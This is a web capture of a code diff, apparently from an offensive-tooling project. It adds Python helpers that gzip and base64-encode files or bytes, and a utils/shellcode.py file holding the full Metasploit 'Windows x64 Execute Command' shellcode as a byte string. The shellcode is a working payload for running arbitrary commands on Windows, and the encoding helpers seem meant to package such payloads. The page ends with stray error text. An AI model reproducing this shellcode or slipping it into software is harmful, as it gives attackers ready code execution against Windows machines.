     7 + compressed_stream = StringIO.StringIO()
     8 + with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed, open(path, 'rb') as infile:
     9 + compressed.write(infile.read())
     10 + return base64.b64encode(compressed_stream.getvalue())
     11 + 
     12 + 
     13 +def get_compressed_base64_from_binary(bin_bytearray_input):
     14 + compressed_stream = StringIO.StringIO()
     15 + with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed:
     16 + compressed.write(str(bin_bytearray_input))
     17 + return base64.b64encode(compressed_stream.getvalue())
     18 + 
  • ■ ■ ■ ■ ■ ■
    utils/shellcode.py
     1 +'''
     2 +https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/exec.rb
     3 + 
     4 +'Name' => 'Windows x64 Execute Command',
     5 +'Description' => 'Execute an arbitrary command (Windows x64)',
     6 +'Author' => [ 'sf' ],
     7 +'License' => MSF_LICENSE,
     8 +'Platform' => 'win',
     9 +'Arch' => ARCH_X64,
     10 +'Payload' =>
     11 +'''
     12 +winexec_x64 = ""
     13 +winexec_x64 += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
     14 +winexec_x64 += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
     15 +winexec_x64 += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
     16 +winexec_x64 += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
     17 +winexec_x64 += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
     18 +winexec_x64 += "\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
     19 +winexec_x64 += "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
     20 +winexec_x64 += "\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
     21 +winexec_x64 += "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
     22 +winexec_x64 += "\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
     23 +winexec_x64 += "\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
     24 +winexec_x64 += "\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
     25 +winexec_x64 += "\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
     26 +winexec_x64 += "\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
     27 +winexec_x64 += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
     28 +winexec_x64 += "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
     29 +winexec_x64 += "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
     30 +winexec_x64 += "\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
     31 +winexec_x64 += "\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
     32 +winexec_x64 += "\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
     33 +winexec_x64 += "\x00\x59\x41\x89\xda\xff\xd5"
     34 + 
Please wait...
Page is in error, reload to recover